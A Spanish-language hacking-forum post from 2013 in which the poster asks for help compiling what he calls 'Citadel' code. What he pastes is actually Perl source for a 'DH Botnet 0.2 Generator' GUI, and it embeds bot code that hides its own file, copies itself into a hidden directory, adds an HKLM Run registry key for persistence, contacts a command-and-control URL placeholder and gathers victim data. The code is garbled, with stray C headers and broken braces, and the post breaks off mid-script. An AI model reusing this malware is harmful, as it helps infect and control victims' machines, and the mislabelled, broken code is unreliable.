Sólo texto | Texto con Imágenes

Test Foro de elhacker.net SMF 2.1

Programación => Desarrollo Web => Mensaje iniciado por: 6TUNX4T en 24 Agosto 2013, 15:02 PM

Título: CODIGO DE CITADEL c\c++ y php
Publicado por: 6TUNX4T en 24 Agosto 2013, 15:02 PM
 
::) MIREN ESTE CODIGO K EN CONTRE EN LA WED LOL PERO NO PUEDO COMPILAR POR ME FALTA WINSOCK2 KIEN PUED HELP EN ESTO DE EN CONTRAR EL WINSOCK2 ????   :silbar: 


#include <stdio.h>
#include <stdlib.h>
#include <math.h>

use Tk;
use Tk::Dialog;
use Digest::MD5 qw(md5_hex);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "cyan";

my $win_bot =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$win_bot->title("DH Botnet 0.2 Generator");
$win_bot->resizable( 0, 0 );
$win_bot->geometry("370x530+20+20");

$win_bot->Label(
    -text       => "-- == Server Configuration == --",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 20 );

$win_bot->Label(
    -text       => "Page : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 60 );
my $page = $win_bot->Entry(
    -text       => "http://localhost:8080/botnet/index.php",
    -background => $color_fondo,
    -foreground => $color_texto,
    -width      => 40
)->place( -x => 67, -y => 65 );
$win_bot->Label(
    -text       => "Timeout : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 90 );
my $timeout = $win_bot->Entry(
    -text       => "5",
    -background => $color_fondo,
    -foreground => $color_texto,
    -width      => 10
)->place( -x => 86, -y => 95 );
$win_bot->Label(
    -text       => "seconds",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 155, -y => 90 );
$win_bot->Label(
    -text       => "Directory : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 120 );
my $dir_hide = $win_bot->Entry(
    -text       => "c:/windows/TESTARGG",
    -width      => 35,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 125 );

$win_bot->Label(
    -text       => "-- == Database Configuration == --",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 160 );

$win_bot->Label(
    -text       => "Host : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 200 );
my $host = $win_bot->Entry(
    -text       => "localhost",
    -width      => 40,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 65, -y => 204 );
$win_bot->Label(
    -text       => "Username : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 228 );
my $user = $win_bot->Entry(
    -text       => "doddy",
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 102, -y => 233 );
$win_bot->Label(
    -text       => "Password : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 255 );
my $pass = $win_bot->Entry(
    -show       => "*",
    -text       => "",
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 98, -y => 260 );
$win_bot->Label(
    -text       => "Database : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 285 );
my $db = $win_bot->Entry(
    -text       => "botnet",
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 98, -y => 290 );

$win_bot->Label(
    -text       => "-- == Login == --",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 330 );

$win_bot->Label(
    -text       => "Username : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 368 );
my $user_login = $win_bot->Entry(
    -text       => "admin",
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 102, -y => 373 );

$win_bot->Label(
    -text       => "Password : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 395 );
my $pass_login = $win_bot->Entry(
    -text       => "admin",
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 102, -y => 400 );

$win_bot->Label(
    -text       => "Timeout : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 423 );
my $timeout_botnet = $win_bot->Entry(
    -text       => "5",
    -background => $color_fondo,
    -foreground => $color_texto,
    -width      => 10
)->place( -x => 86, -y => 428 );
$win_bot->Label(
    -text       => "seconds",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 155, -y => 424 );

$win_bot->Button{
    -command          => \&generatenow,
    -text             => "Generate!",
    -font             => "Impact",
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -width            => 30,
    -activebackground => $color_texto
)->place( -x => 50, -y => 470 );

MainLoop;

sub generatenow }

    my $code_server = q(#!usr/bin/perl
#DH Botnet Server
#Version 0.2
#Coded By Doddy H
#Command : perl2exe -gui server.pl

#Modules to install
#ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd

use Win32;
use Win32::API;
use Win32::GuiTest qw(MouseMoveAbsPix SendKeys);
use Win32::Job;
use IO::Socket;
use Win32::OLE qw(in);
use Win32::Process;
use File::Basename;
use Win32::File;
use Win32::TieRegistry( Delimiter => "/" );

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(10);

## Main

my $url      = "ACA_VA_TU_LINK";
my $timeout  = "ACA_VA_EL_TIMEOUT";
my $dir_hide = "ACA_VA_EL_DIRECTORIO";

unless ( -d $dir_hide ) {
    mkdir( $dir_hide, 777 );
    hideit( $dir_hide, "hide" );
    chdir($dir_hide);
}
else {
    chdir($dir_hide);
}

unless ( -f "keys" ) {
    savefile( "keys", genpass(5) );
}

hideit( "keys", "hide" );

##Infect
hideit( $0, "hide" );
Win32::CopyFile( $0, $dir_hide . "/" . basename($0), 0 );
hideit( $dir_hide . "/" . basename($0), "hide" );
$Registry->{"LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"}
  = $dir_hide . "/" . basename($0);

#

# Start the party

my ( $clave, $ip, $pais, $user, $os, $time ) = getmydata();

print "
Sólo texto | Texto con Imágenes